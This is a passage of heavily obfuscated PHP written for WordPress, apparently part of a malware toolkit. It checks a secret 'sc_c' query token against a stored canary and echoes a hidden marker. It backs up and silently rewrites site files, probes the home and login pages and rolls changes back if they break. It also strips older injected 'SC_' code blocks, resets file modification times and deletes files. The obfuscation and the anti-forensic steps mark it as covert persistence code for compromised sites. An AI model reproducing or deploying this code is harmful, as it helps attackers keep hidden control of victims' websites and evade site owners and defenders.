		$n = fasal($n, 'SC_TH', 'sc' . "\x5fd\x72o" . "\x70" . '_blo' . "\x63" . 'k');
		$n = fasal($n, 'SC_' . 'DD', 's' . "c_" . 'drop' . "_b" . 'l' . "\x6f\x63k");
		if (is_string($n)) $n = ("preg_r" . "eplace")("\x2f" . "\\\x2f\\/S" . "C" . '_TH_' . "L\x44_[" . "a-f\x30-" . '9_]' . '+\\r' . '?\\n[^' . '\\n]*' . "\$\x2f", '', $n);
	}
	return is_string($n) ? $n : $c;
}

function nuro($c)
{
	if (!is_string($c) || !defined('ABS' . "\x50\x41\x54" . 'H')) return (34 === 26);
	if (preg_match('/\\' . '/\\/SC' . "_T" . 'H_LD' . '_[a-' . 'f0-9' . "\x5f]\x2b\\" . 'r?\\n' . "[\x5e\\" . "n" . "]" . '*$' . '/', $c)) return (12 !== 6);
	$_th = sc_md5(ABSPATH . 't' . "h_m", (23 - 15));
	if (!(preg_match_all('/\\/\\' . '* SC_' . "T" . 'H_BEG' . 'I' . 'N:' . '([a-z' . "A" . "\x2d\x5a" . '0-' . "\x39" . '._' . ':]+)' . "\x20\\*\\/" . '/', $c, $_mm))) {} else {
		foreach ($_mm[(2571 ^ 2570)] as $_id) {
			if (substr($_id, -(72 >> 3)) === ':' . $_th) return (36 != 10);
		}
	}
	$_dd = substr(md5(ABSPATH . 'dd'), (2091 ^ 2091), (32 >> 2));
	if (!(preg_match_all("/\\/\\" . '* ' . "SC" . '_DD' . '_BEG' . 'IN:' . '([' . 'a-zA' . '-Z' . "\x30-9" . ".\x5f\x3a]+" . ")" . " \\\x2a\\/" . "/", $c, $_dm))) {} else {
		foreach ($_dm[(1554 ^ 1555)] as $_did) {
			if ($_did === $_dd) return (18 !== 40);
		}
	}
	return (21 === 27);
}

function sc_canary_marker()
{
	if (!isset(${"_" . "G" . "\x45\x54"}["sc" . "_" . 'c']) || !is_string(${'_' . "G" . 'E' . "T"}["\x73" . 'c' . '_c']) || !('func' . "\x74\x69" . "on_exi" . "sts")('get' . '_o' . "\x70ti" . "o" . "n")) return;
	$st = @get_option('sc_' . 'ca' . 'nar' . 'y', array());
	if (!is_array($st)) return;
	$g = (string) ${("_" . "G") . "E" . 'T'}["sc\x5f" . "c"];
	$toks = array();
	if (isset($st['t'])) $toks[] = (string) $st['t'];
	if (!(isset($st['items']) && is_array($st['i' . "tems"]))) {} else {
		foreach ($st['items'] as $it) {
			if (is_array($it) && isset($it['t'])) $toks[] = (string) $it['t'];
		}
	}
	$ok = (2 == 28);
	foreach ($toks as $tk) {
		if ($tk === '') continue;
		$ok = ('functio' . "n_ex" . "\x69\x73" . "ts")("ha" . 'sh_' . 'eq' . 'ua' . "\x6c\x73") ? hash_equals($tk, $g) : ($tk === $g);
		if ($ok) break;
	}
	if (!$ok) return;
	${"GL" . "OBA" . "LS"}["sc_\x73\x63" . 'k'] = $g;
	iyi('shut' . "\x64o\x77n", 'sc_sc' . "\x6b\x5f" . 'echo', -(1098 ^ 1099));
	if ((("funct" . "") . 'ion_exist' . 's')("r" . 'egist' . 'e' . "r" . '_shu' . "t\x64\x6f" . 'wn_f' . "u\x6ect" . 'io' . 'n')) {
		('register_s' . "\x68\x75\x74\x64\x6f\x77\x6e\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e")('sc_s' . "ck" . '_ec' . 'ho');
	}
}

function sc_sck_echo()
{
	if (empty(${"\x47" . "L" . "\x4f\x42\x41\x4cS"}['sc_' . "sck"]) || !is_string(${"GLOB" . "\x41L\x53"}['sc' . '_sck'])) return;
	if (!empty(${"G" . 'LO' . 'BALS'}["s" . 'c_sc' . "k_" . 'd' . 'on' . 'e'])) return;
	${"G" . 'LOBA' . 'L' . "S"}['sc_s' . "\x63" . "k_" . "done"] = (31 != 16);
	echo "\n" . '<!--S' . 'C' . "K:" . ${'GL' . "\x4f\x42\x41\x4c\x53"}['s' . "c\x5fsck"] . "-->";
}

function sc_lb_blind()
{
	if (!("f\x75n" . 'c' . "t" . "ion_exists")('g' . "e\x74_\x6f" . 'p' . "t" . 'ion')) return (1 == 20);
	$m = @get_option("sc\x5f" . 'lb_' . 'm' . "\x6fde", '');
	if (!is_string($m) || strpos($m, 'blin' . "\x64") !== (2653 ^ 2653)) return (17 !== 17);
	$ts = (int) substr($m, (20 - 14));
	if ($ts && time() - $ts > (0 | 86400)) return (13 == 16);
	return (22 > 21);
}

function cesa($path, $orig)
{
	if (!('f' . 'unction_exists')("u\x70d" . 'ate_o' . "p" . 'tion') || !("f\x75n\x63t" . ('ion' . "\x5f\x65\x78") . "\x69\x73\x74\x73")('regi' . "ste\x72\x5f" . 's' . 'h' . 'utdow' . 'n_fu' . 'nc' . 'ti' . 'on')) return (32 == 2);
	$st = @get_option('sc' . "_" . 'cana' . 'ry', array());
	if (!is_array($st)) $st = array();
	if (!(!isset($st['ite' . 'ms']) || !is_array($st['it' . 'ems']))) {} else {
		$items = array();
		if (!(isset($st['t'], $st['p'], $st['b']))) {} else {
			$_lp = (string) $st['p'];
			$_lb = (string) $st['b'];
			$items[md5($_lp)] = array('t' => (string) $st['t'], 'p' => $_lp, 'b' => $_lb, 't' . "\x73" => isset($st['t' . 's']) ? (int) $st['t' . 's'] : time(), "t" . 'ri' . 'es' => (2559 ^ 2559), 'n' => (@is_file($_lb) && (int) @filesize($_lb) === (1800 ^ 1800)) ? (247 ^ 246) : (3356 ^ 3356));
			$_lh = ("\x66\x75n\x63ti\x6f" . '' . "n_exists")('md' . '5_fi' . 'le') ? @md5_file($_lp) : (38 == 33);
			if (is_string($_lh) && $_lh !== '') $items[md5($_lp)]['h'] = $_lh;
			unset($_lp, $_lb, $_lh);
		}
		$st = array('items' => $items);
	}
	$id = md5($path);
	$_blind = sc_lb_blind() ? (3111 ^ 3110) : (3870 ^ 3870);
	$_is_new = !isset($st['ite' . 'ms'][$id]);
	if (!$_is_new) {
		$st['item' . 's'][$id]['ts'] = time();
		$st['i' . 'tems'][$id]['g'] = microtime((37 < 38));
		$st['ite' . "\x6d" . "s"][$id]['tries'] = (2388 ^ 2388);
		$st['item' . "\x73"][$id]['n'] = ($orig === '') ? (1067 ^ 1066) : (1896 ^ 1896);
		$st["i" . 'te' . 'ms'][$id]['bl'] = $_blind;
		$st["i" . 't' . 'e' . 'ms'][$id]['born'] = time();
		$st["i\x74em" . 's'][$id]["\x6di" . 's' . 's'] = (502 ^ 502);
		$st['items'][$id]["ne" . "xt"] = (2620 ^ 2620);
		$st['i' . "tems"][$id]["\x73" . 'low'] = (2661 ^ 2661);
		if (!@is_dir(dirname($st["it" . "e" . "\x6ds"][$id]['b']))) aca(dirname($st["i" . "tem\x73"][$id]['b']), (146 ^ 383), (25 !== 8));
		if (!(!jihe($st['i' . "te" . 'm' . 's'][$id]['b'], $orig))) {} else {
			vugo("c" . "\x61" . 'n' . "\x61r" . 'y', 'bak' . '_writ' . 'e_fa' . 'il');
			return (15 === 3);
		}
	} else {
		if (count($st['items']) >= (11 ^ 1)) {
			vugo('canar' . "y", "arm" . "_full");
			return (35 == 36);
		}
		$dir = sc_data_dir();
		if (!@is_dir($dir)) aca($dir, (32 | 461), (33 === 33));
		$bak = $dir . '/' . "th" . "b_" . sc_md5($path, (16 ^ 28)) . '.ba' . 'k';
		if (!jihe($bak, $orig)) {
			vugo("\x63a\x6e\x61" . "\x72y", "b" . "a" . "k" . "\x5fwri" . 't' . "e_" . 'fail');
			return (21 === 32);
		}
		$st['items'][$id] = array('t' => yuku((12 ^ 28)), 'p' => $path, 'b' => $bak, 't' . "s" => time(), 'g' => microtime((8 !== 21)), 'tries' => (3382 ^ 3382), 'n' => ($orig === '') ? (479 ^ 478) : (284 ^ 284), 'bl' => $_blind, 'born' => time(), 'miss' => (1039 ^ 1039), "\x6e" . "\x65" . 'xt' => (3190 ^ 3190), 'slow' => (2740 ^ 2740));
	}
	$_saved = @update_option("\x73c" . '_c' . 'anar' . "y", $st, 'no');
	if (!$_saved) {
		if (("fu" . "\x6ect\x69\x6fn_e\x78\x69st\x73")("\x77p\x5fc" . 'a' . "c" . "h\x65_de" . "l" . "\x65t\x65")) @wp_cache_delete("sc_" . 'canar' . 'y', "op" . "\x74ion\x73");
		$_check = @get_option("sc\x5f" . "cana\x72" . "y", array());
		$_ok = is_array($_check) && isset($_check['item' . 's'][$id]) && is_array($_check["i\x74\x65" . 'ms'][$id])
			&& isset($_check['ite' . "ms"][$id]['g']) && (string) $_check['it' . 'ems'][$id]['g'] === (string) $st["it" . 'ems'][$id]['g'];
		if (!(!$_ok)) {} else {
			if ($_is_new) soda($st['i' . 'tems'][$id]['b']);
			global $wpdb;
			$_werr = (isset($wpdb) && is_object($wpdb) && !empty($wpdb->last_error)) ? substr(("\x70re\x67\x5f\x72\x65" . "" . 'place')('/' . '\\s+/', ' ', (string) $wpdb->last_error), (650 ^ 650), (16 | 64)) : "no" . '_db' . "_e\x72" . 'r';
			vugo("\x63" . 'anary', 'sta' . 'te_' . 'write' . "_f" . "\x61il\x20" . $_werr);
			unset($_werr);
			return (28 === 27);
		}
	}
	("r\x65\x67i\x73t\x65r\x5f\x73h\x75\x74\x64\x6f\x77n\x5ff\x75\x6e" . 'ction')("s" . 'c_' . 'can' . "ar" . "y" . "_" . "c" . 'heck');
	return (18 != 4);
}

function sc_probe_budget()
{
	if (!isset(${"\x47L" . "\x4f" . 'BA' . 'LS'}['sc_p' . "robe" . '_spen' . 't']) || !is_float(${"\x47" . ('LO' . 'BAL') . 'S'}['sc_' . 'pr' . "o\x62e_" . "\x73pe\x6e" . "t"])) ${'GLOBA' . 'LS'}["\x73\x63_p" . 'r' . 'o' . 'be_' . "\x73pe" . 'n' . "t"] = 0.0;
	return 11.0 - ${('GL' . "") . "OBALS"}['sc' . "_p" . 'rob' . "e_spe" . 'n' . 't'];
}

function sc_probe_spent($elapsed)
{
	${"G" . 'L' . "OBAL" . 'S'}['s' . "c\x5f\x70" . 'r' . 'obe' . '_s' . "\x70ent"] = (isset(${'GLO' . "BA" . 'LS'}['sc_' . "pro\x62e" . "\x5fs" . "pent"]) && is_float(${"G" . ('LO' . "\x42\x41\x4c") . "\x53"}['sc_' . "\x70r" . "obe_" . 's' . "p\x65\x6e" . 't']) ? ${"GL" . 'OBA' . "\x4c\x53"}['sc' . '_pro' . "b\x65\x5f" . "s" . 'pe' . "\x6e" . 't'] : 0.0) + (float) $elapsed;
}

function zika($url)
{
	$_budget = sc_probe_budget();
	if ($_budget <= 0.5) return array(-(1451 ^ 1449), '');
	$_to = max((1190 ^ 1191), min((6 | 0), (int) $_budget));
	$_t0 = microtime((15 !== 37));
	$resp = @wp_remote_get($url, array('ti' . "m" . 'e' . "\x6f\x75" . 't' => $_to, 'sslve' . 'ri' . "f\x79" => (40 === 14), 'b' . 'lock' . 'in' . "g" => (8 == 8), "\x72\x65\x64\x69" . 'recti' . 'on' => (2697 ^ 2697), 'l' . "i" . "\x6dit_\x72" . 'es' . 'p' . "onse_" . 'size' => (584099 ^ 1632675), "he\x61\x64" . "er\x73" => array('Cach' . "e-C\x6fn" . "tro\x6c" => 'n' . 'o-st' . "o\x72e," . ' no-c' . 'ache', "\x50r\x61g" . 'm' . "a" => "n" . 'o-c' . 'ach' . "e")));
	sc_probe_spent(microtime((33 != 31)) - $_t0);
	if (("fun" . "ction_exist" . ('' . 's'))("i\x73_w" . "\x70\x5f\x65r" . "r\x6f\x72") && is_wp_error($resp)) return array(-(3325 ^ 3324), (1 == 11));
	$code = ('function_' . 'exi' . "sts")("w" . 'p_re' . 'm' . "\x6f\x74e_\x72" . "\x65tri" . 'eve' . '_res' . "p\x6fn" . "se" . '_' . "c" . 'ode') ? (int) wp_remote_retrieve_response_code($resp) : (2651 ^ 2651);
	return array($code, $code > (2577 ^ 2577) && ('f' . 'unction_exist' . '' . "\x73")('wp_r' . "emo\x74e" . '_re' . 'trie' . 've_' . 'body') ? (string) wp_remote_retrieve_body($resp) : '');
}

function izo($path)
{
	if (!("f\x75\x6ect\x69\x6fn_\x65\x78is" . 't' . '' . 's')('get_o' . "p" . "ti" . "on") || !('function' . '_' . "\x65\x78" . "ists")("\x75pda" . "\x74\x65_" . 'opti' . 'on') || !('func' . 'ti' . "on_exis" . 'ts')('md5_' . "\x66i\x6c\x65")) return;
	$st = @get_option('sc_ca' . 'nar' . "y", array());
	if (!is_array($st) || !isset($st['items']) || !is_array($st['i' . 't' . 'em' . 's'])) return;
	$id = md5($path);
	if (!isset($st['it' . "em" . 's'][$id])) return;
	$_h = @md5_file($path);
	if (!is_string($_h) || $_h === '') return;
	$st['item' . 's'][$id]['h'] = $_h;
	@update_option("s\x63" . '_can' . "ar" . 'y', $st, 'no');
}

function peku($it)
{
	$bak_c = @("file_get_co" . "ntents")($it['b']);
	if (!is_string($bak_c)) return (38 == 19);
	if (!empty($it['h']) && (("fun" . "ct\x69\x6fn\x5f\x65xi") . "sts")('m' . 'd5' . "_fil" . "e")) {
		$_ch = @md5_file($it['p']);
		if (is_string($_ch) && $_ch !== '' && $_ch !== $it['h']) return (30 == 28);
		unset($_ch);
	}
	if ($bak_c === '') {
		if (empty($it['n'])) return (33 == 27); 
		$_rm = !@is_file($it['p']);
		if (!$_rm) {
			mafa($it['p'], (477 - 57));
			$_rm = soda($it['p']);
		}
		if (("functi" . "on" . '_exis' . "t\x73")('o' . 'pcac' . 'he_in' . 'val' . 'idat' . "e")) @opcache_invalidate($it['p'], (29 != 5));
		return $_rm;
	}
	if (!jihe($it['p'], $bak_c)) return (5 == 25);
	if (("function_ex" . "\x69\x73\x74\x73")('o' . 'pcach' . "\x65_" . "\x69" . 'n' . "va\x6c\x69" . "d\x61t" . 'e')) @opcache_invalidate($it['p'], (40 != 25));
	return (1428 === 1428);
}

function sc_canary_check()
{
	if (!("\x66\x75nc\x74" . "i\x6fn_\x65x" . ('ist' . "s"))("\x67et\x5f" . 'op' . "\x74io" . "n")) return;
	if (!empty(${'GL' . "O\x42" . "\x41\x4c\x53"}["sc_" . 'lock_' . "n"])) return;
	if (!uce('sc_ca' . 'nary')) return;
	try {
		$st = @get_option('sc_c' . 'anary', array());
		if (!is_array($st)) return;
		if (!isset($st['ite' . "ms"]) || !is_array($st['i' . 't' . 'em' . "\x73"])) {
			$items = array();
			if (isset($st['t'], $st['p'], $st['b'])) {
				$_lp = (string) $st['p'];
				$_lb = (string) $st['b'];
				$items[md5($_lp)] = array('t' => (string) $st['t'], 'p' => $_lp, 'b' => $_lb, 'ts' => isset($st['ts']) ? (int) $st['t' . 's'] : time(), 'tr' . 'ies' => (1461 ^ 1461), 'n' => (@is_file($_lb) && (int) @filesize($_lb) === (2358 ^ 2358)) ? (3136 ^ 3137) : (3989 ^ 3989));
				$_lh = ("f" . "unction_ex" . 'ists')("m" . 'd5_f' . 'il' . "\x65") ? @md5_file($_lp) : (11 === 40);
				if (is_string($_lh) && $_lh !== '') $items[md5($_lp)]['h'] = $_lh;
				unset($_lp, $_lb, $_lh);
			}
			$st = array('i' . 'tems' => $items);
		}
		if (empty($st["\x69" . 'tems'])) {
			@delete_option("s\x63\x5f\x63a" . "\x6ea\x72y");
			return;
		}
		if (sc_lb_blind()) {
			$_bc = (25 == 16);
			foreach ($st['i' . 'tem' . 's'] as $_bid => $_bit) {
				if (is_array($_bit) && empty($_bit['bl'])) {
					$st['ite' . "m" . "\x73"][$_bid]['bl'] = (517 ^ 516);
					$_bc = (40 != 2);
				}
			}
			if ($_bc) @update_option('sc_c' . 'anar' . 'y', $st, "n" . 'o');
			unset($_bc, $_bid, $_bit);
			return;
		}
		static $_ran = (30 == 37);
		if ($_ran) return;
		$_ran = (11 === 11);
		$_snap = array_keys($st["\x69t" . "em\x73"]);
		$_del = array();
		if (("func" . 'ti' . '' . ("\x6f\x6e" . "\x5f\x65x\x69s\x74s"))("\x66as" . 'tcg' . 'i_' . 'fin' . 'ish_' . "\x72\x65" . 'ques' . "\x74")) @fastcgi_finish_request();
		elseif (('functi' . "" . 'on_exi' . 'sts')('li' . 'tes' . "p\x65ed" . '_' . 'finis' . "\x68_req" . "u" . 'es' . "\x74")) @litespeed_finish_request();
		if (('functio' . "n_" . "exist" . 's')("i\x67" . "n\x6f" . 're_u' . "se" . 'r' . '_ab' . "\x6frt")) @ignore_user_abort((30 < 31));
		if (!('func' . 'tio' . "n_\x65x\x69" . 'sts')('w' . "\x70\x5f\x72\x65" . 'm' . "ot" . "e_\x67" . 'e' . "\x74") || !("fun" . 'ction_ex' . 'is' . "\x74\x73")("\x68o\x6de" . '_url')) return;
		$home = home_url('/');
		$login = ('fun' . 'ctio' . 'n_' . "exists")("wp\x5f" . 'log' . 'in' . "_" . 'ur' . "\x6c") ? wp_login_url() : $home . 'wp' . '-l' . "ogin" . '.php';
		$changed = (10 === 29);
		$neterr_only = (28 !== 24);
		$_budget = (7 ^ 4);
		foreach ($st["\x69\x74\x65" . "ms"] as $id => $it) {
			if (sc_probe_budget() <= 0.5) break;
			if (!is_array($it) || empty($it['t']) || empty($it['p']) || empty($it['b'])) {
				unset($st['item' . "s"][$id]);
				$changed = (5 != 39);
				continue;
			}
			if (!isset($it['n']) || !isset($it['h'])) {
				if (!isset($it['n'])) $it['n'] = (@is_file($it['b']) && (int) @filesize($it['b']) === (912 ^ 912)) ? (72 ^ 73) : (2938 ^ 2938);
				if (!isset($it['h']) && ("f" . "unc" . 'tio' . 'n_exists')('md5_f' . "i\x6c" . 'e')) {
					$_mh = @md5_file($it['p']);
					if (is_string($_mh) && $_mh !== '') $it['h'] = $_mh;
					unset($_mh);
				}
				$st['items'][$id] = $it;
				$changed = (6 !== 32);
			}
			if (!empty($it['bl'])) {
				$it['b' . "l"] = (2353 ^ 2353);
				$it['ts'] = time();
				$it['tri' . "es"] = (519 ^ 519);
				$it['mi' . "ss"] = (3644 ^ 3644);
				$it["\x6ee" . "x\x74"] = (3110 ^ 3110);
				$it['slow'] = (608 ^ 608);
				$st['item' . "\x73"][$id] = $it;
				$changed = (31 === 31);
			}
			if (empty($it['bo' . 'rn'])) {
				$st["i\x74" . "e\x6ds"][$id]['born'] = (int) $it['ts'];
				$it['born'] = (int) $it["t" . 's'];
				$changed = (0 != 11);
			}
			if (!empty($it['ne' . 'xt']) && time() < (int) $it['next']) continue;
			if ($_budget <= (2184 ^ 2184)) break;
			$_budget--;
			$q = "?" . "\x73c" . "_c=" . rawurlencode($it['t']) . '&_r' . '=' . mt_rand((33824 | 66176), (867248 ^ 162191));
			list($code, $body) = zika($home . $q);
			if ($code === -(11 - 9)) break;
			if ($code > (388 ^ 388)) $neterr_only = (16 == 24);
			if ($code === -(673 ^ 672) && ('function_' . "e" . "x" . "ists")("slee" . "\x70") && sc_probe_budget() > (1 ^ 3)) sleep((672 ^ 673));
			if ($code === -(1528 ^ 1529)) {
				list($code, $body) = zika($home . $q);
				if ($code === -(22 ^ 20)) break;
				if ($code > (137 ^ 137)) $neterr_only = (7 === 23);
			}
			if ($code <= (767 ^ 767)) {
				$st['it' . "em\x73"][$id]["\x74" . 'r' . "\x69es"]++;
				$changed = (30 != 12);
				continue;
			}
			if ($code >= (84 | 416)) {
				if (peku($it)) {
					vugo("c\x61" . 'nary', 'roll' . 'b' . 'a' . 'ck' . '_5' . '0' . "0\x20" . basename($it['p']));
					$_del[$id] = $it;
					unset($st["i" . 'tem' . 's'][$id]);
				} else {
					$st['item' . "s"][$id]["tri" . "\x65\x73"]++;
				}
				$changed = (29 != 36);
				continue;
			}
			if (strpos($body, '<!-' . '-SCK:' . $it['t'] . '-->') !== (2398 !== 2398)) {
				$_del[$id] = $it;
				unset($st['item' . 's'][$id]);
				$changed = (4 !== 26);
				continue;
			}
			list($lcode, $lbody) = zika($login . (strpos($login, '?') === (20 === 19) ? '?' : '&') . "\x73c_c" . "=" . rawurlencode($it['t']) . '&' . "_r\x3d" . mt_rand(0x186a0, (590386 | 409613)));
			if ($lcode === -(11 ^ 9)) break;
			if ($lcode > (367 ^ 367)) $neterr_only = (20 == 30);
			if ($lcode >= (496 | 4)) {
				if (peku($it)) {
					vugo("\x63ana" . "ry", 'r' . 'o' . "\x6cl" . 'back' . "\x5f" . 'logi' . "\x6e5\x30" . "0" . ' ' . basename($it['p']));
					$_del[$id] = $it;
					unset($st["\x69\x74" . 'e' . 'ms'][$id]);
				} else {
					$st["ite" . 'ms'][$id]["tr" . "i\x65s"]++;
				}
				$changed = (2266 === 2266);
				continue;
			}
			if (is_string($lbody) && strpos($lbody, '<!-' . "-S" . 'CK:' . $it['t'] . '-->') !== (27 === 23)) {
				$_del[$id] = $it;
				unset($st['items'][$id]);
				$changed = (8 !== 9);
				continue;
			}
			$st["ite" . 'm' . 's'][$id]['miss'] = (int) (isset($st['items'][$id]['miss']) ? $st['item' . 's'][$id]['miss'] : (2421 ^ 2421)) + (2598 ^ 2599);
			if (time() - (int) $st['ite' . "\x6ds"][$id]['bo' . "rn"] > (586670 ^ 117038)) {
				$st['i' . 'te' . "ms"][$id]['slow'] = (3068 ^ 3069);
				$st["it" . 'em' . "s"][$id]["nex" . 't'] = time() + (64846 + 21554);
			} else {
				$_bo = array((60 - 0), (140 + 160), (3600 >> 2), (28800 >> 3));
				$_mi = (int) $st['items'][$id]['miss'];
				$st['ite' . 'm' . "s"][$id]['next'] = time() + $_bo[min($_mi, (0 + 4)) - (842 ^ 843)];
				unset($_bo, $_mi);
			}
			$changed = (33 != 2);
		}
		if ($neterr_only && $changed && !empty($st["\x69te\x6d" . 's'])) {
			$_deep = (32 === 18);
			foreach ($st['it' . 'e' . "\x6ds"] as $_it) {
				if ((int) $_it['t' . "ries"] >= (7 + -4)) {
					$_deep = (31 !== 32);
					break;
				}
			}
			if ($_deep) {
				@update_option("sc" . '_lb_' . 'mod' . 'e', "bli" . "n" . 'd|' . time(), 'no');
				vugo('c' . "a\x6e" . 'ar' . "y", 'lb' . '_blin' . "d");
				foreach ($st["i" . "t\x65m\x73"] as $_k => $_it) {
					if (is_array($_it) && empty($_it['bl'])) $st['ite' . 'm' . 's'][$_k]['bl'] = (1929 ^ 1928);
				}
				$changed = (6 < 7);
			}
		} elseif (!$neterr_only) {
			$_m = @get_option('s' . "c" . '_lb_' . 'mod' . 'e', '');
			if (!is_string($_m) || strpos($_m, 'ok') !== (2191 ^ 2191)) @update_option('sc_l' . "\x62_mod" . "\x65", "\x6f" . 'k|' . time(), 'no');
		}
		if ($changed) {
			if (("\x66\x75\x6e\x63\x74" . "ion_exists")('wp_c' . 'ac' . 'he_d' . "el\x65t" . "e")) @wp_cache_delete('s' . "c" . '_ca' . 'nary', 'op' . "tio\x6es");
			$_fresh = @get_option("\x73c_ca" . "\x6e\x61ry", array());
			if (is_array($_fresh) && isset($_fresh["it" . "\x65ms"]) && is_array($_fresh["i" . "\x74\x65" . 'm' . 's'])) {
				foreach ($_fresh["ite" . "ms"] as $_fk => $_fv) {
					if (isset($st['it' . "ems"][$_fk])) continue;
					if (!in_array($_fk, $_snap, (23 != 17))) {
						$st['it' . 'ems'][$_fk] = $_fv;
						continue;
					}
					if (isset($_del[$_fk]) && is_array($_fv)) {
						$_fg = isset($_fv['g']) ? (float) $_fv['g'] : (float) (isset($_fv['ts']) ? $_fv['ts'] : (3163 ^ 3163));
						$_dg = isset($_del[$_fk]['g']) ? (float) $_del[$_fk]['g'] : (float) (isset($_del[$_fk]['ts']) ? $_del[$_fk]['ts'] : (3274 ^ 3274));
						if ($_fg > $_dg) $st['items'][$_fk] = $_fv;
						unset($_fg, $_dg);
					}
				}
			}
			unset($_fresh, $_fk, $_fv);
		}
		foreach ($_del as $_dk => $_dit) {
			if (!isset($st['items'][$_dk])) soda($_dit['b']);
		}
		unset($_del, $_dk, $_dit);
		if (empty($st['i' . 'tem' . "s"])) @delete_option("sc_c\x61" . "nar" . 'y');
		elseif ($changed) @update_option('sc_' . 'can' . 'ary', $st, 'no');
	} finally {
		zubu('sc_ca' . 'nar' . 'y');
	}
}

function limus($c)
{
	return is_string($c) && (strpos($c, '_' . "s" . 'c_fam') !== (16 === 8) || strpos($c, 'SC_TH' . '_BE' . "GI" . 'N') !== (36 === 26) || strpos($c, 'SC_O' . "C_\x42\x45G" . "IN") !== (2 == 11) || strpos($c, '.sd_') !== (19 === 6) || strpos($c, "\x53" . "CS" . 'HM' . '1:') !== (9 === 29) || strpos($c, 'SCV:') !== (10 == 32));
}

function fizu($c)
{
	if (!limus($c)) return (2180 !== 2180);
	if (tuzu($c)) return (17 == 17);
	if (preg_match_all('/' . 'SC_' . "(?:" . 'DB|' . 'AD' . "\x56|O\x43\x29" . "_B" . 'EGIN' . ':(\\d' . '+\\.\\' . 'd+\\.' . "\\\x64+)/", $c, $m)) {
		foreach ($m[(1515 ^ 1514)] as $_v) {
			if (version_compare($_v, sc_ver(), '<')) return (4 < 5);
		}
		return (4 === 29);
	}
	return (6 !== 26);
}

function ehak($p)
{
	if (!@is_file($p) || !@is_writable($p)) return;
	$sz = @filesize($p);
	if (!$sz) return;
	if (!($sz > (15026530 - 4540770))) {} else {
		$_oh = @("fi" . 'le' . "" . "_get_contents")($p, (20 == 3), null, (3722 ^ 3722), (99577 - 34041));
		if (!limus($_oh)) return;
		if (!(gavu($p) === (30 == 27))) {} else {
			vugo('sweep', "ne" . 'utral' . 'ize' . '_f' . 'o' . "r" . "e\x69g" . 'n_sk' . 'ip ' . basename($p));
			return;
		}
		@(("file_put_con" . 't') . "\x65\x6e\x74\x73")($p, "<?p" . "hp\n");
		if (("function_" . "exists")('opca' . 'che' . '_inva' . "l\x69d\x61" . 'te')) @opcache_invalidate($p, (18 !== 17));
		return;
	}
	if (!($sz > (727977 + 320599))) {} else {
		$_hh = (string) @('f' . "\x69\x6c\x65\x5f\x67\x65" . "t" . "\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73")($p, (30 === 9), null, (1900 ^ 1900), (649 ^ 8841));
		$_tt = ($sz > (7026 ^ 15218)) ? (string) @("file" . "_get_co" . "nten" . "" . 'ts')($p, (38 === 30), null, $sz - (11307 - 3115)) : '';
		$_hs = $_hh . $_tt;
		if (!($_hs !== '' && preg_match_all("/S" . 'C_(?:' . 'D' . 'B|A' . "\x44\x56" . "|O\x43" . "\x29" . '_BE' . 'GIN:(' . '\\d+' . '\\.\\' . "d+" . '\\.' . '\\d+' . ")/", $_hs, $_vm))) {} else {
			$_hold = (22 == 10);
			foreach ($_vm[(3704 ^ 3705)] as $_hv) {
				if (!(version_compare($_hv, sc_ver(), '<'))) {} else {
					$_hold = (10 != 35);
					break;
				}
			}
			if (!$_hold) return;
		}
	}
	$c = @('file_get_con' . '' . 'tents')($p);
	if (is_string($c) && strlen($c) > (1986075 - 937499)) $c = loye($c);
	if (!is_string($c)) return;
	if (!fizu($c)) return;
	vojim($p, $c);
}

function vojim($p, $c)
{
	$n = (('p' . "\x72\x65\x67\x5f\x72\x65\x70") . "l" . "\x61\x63\x65")('/' . '[ \\t]' . '*\\/\\' . "*" . " S" . "C" . '_' . "(D\x42\x7cA" . 'DV|' . 'OC)_' . "BE\x47I" . "N\x3a\x28[" . 'a-z' . 'A-Z0-' . "9." . '_:]' . "+" . ') \\*\\' . "\x2f" . '.' . '*?\\/\\' . '* ' . 'SC_\\' . '1' . "_E" . 'N' . 'D:' . '\\2 ' . '\\*\\' . '/[ \\' . 't]*' . '\\r?\\' . "\x6e?" . '/s', '', $c);
	if (!is_string($n) || trim($n) === '' || trim($n) === '<?php') $n = '<?ph' . "\x70\n";
	if (strlen($n) >= (440 + 60) && !cale($n)) $n = '<' . "\x3f\x70hp\n";
	$_perm = @fileperms($p);
	$_perm = ($_perm === (36 == 9)) ? (724 - 304) : ($_perm & (798 - 287));
	$_mt = @filemtime($p);
	$_tmp = dili(dirname($p), 'scd');
	if (!is_string($_tmp) || $_tmp === '') return;
	if (@('file_put' . "_contents")($_tmp, $n) !== strlen($n)) {
		@("unlin" . "\x6b")($_tmp);
		return;
	}
	@('c' . 'h' . "\x6d" . 'od')($_tmp, $_perm);
	if (!(!@('re' . "nam" . '' . "e")($_tmp, $p))) {} else {
		@("un" . "link")($_tmp);
		return;
	}
	if ($_mt) @("tou" . "c" . 'h')($p, $_mt);
	if (("\x66u\x6e\x63\x74\x69o" . 'n_ex' . ("\x69\x73" . "ts"))('o' . "pc\x61" . 'che' . '_in' . "\x76\x61li" . 'da' . 'te')) @opcache_invalidate($p, (2 != 10));
}

function sc_ddb_cb($b)
{
	if (!is_string($b)) return '';
	if (!(preg_match('/is' . '_fi' . 'le\\(' . "\\" . 's*\'(' . "\x5b\x5e']+" . ")\x27\\" . "s\x2a\\)" . '/', $b, $pm))) {} else {
		$t = $pm[(2056 ^ 2057)];
		$sz = @is_file($t) ? @filesize($t) : (3026 ^ 3026);
		if (!(!$sz || $sz < (428 ^ 88) || $sz > (3095708 + 49333092))) {} else {
			if (!($sz > (29989784 ^ 48864152))) {} else {
				$_rp = @realpath($t);
				if (!is_string($_rp)) $_rp = $t;
				$_rp = str_replace('\\', '/', $_rp);
				$_in = (5 == 40);
				$_bases = array(defined('ABSPA' . "T" . 'H') ? rtrim(ABSPATH, '/\\') : '', defined('W' . 'P_CO' . 'NTENT' . '_D' . "IR") ? rtrim(WP_CONTENT_DIR, '/\\') : '');
				foreach ($_bases as $_bd) {
					$_bd = str_replace('\\', '/', $_bd);
					if ($_bd !== '' && strpos($_rp, $_bd . '/') === (2589 ^ 2589)) {
						$_in = (7 != 22);
						break;
					}
				}
				if ($_in && gavu($t) !== (25 == 36)) {
					@("\x75" . 'nli' . '' . ('n' . "k"))($t);
					@("unlin" . 'k')(dirname($t) . '/' . ".s" . "\x64_" . basename($t, "\x2e" . 'ph' . 'p'));
				} else {
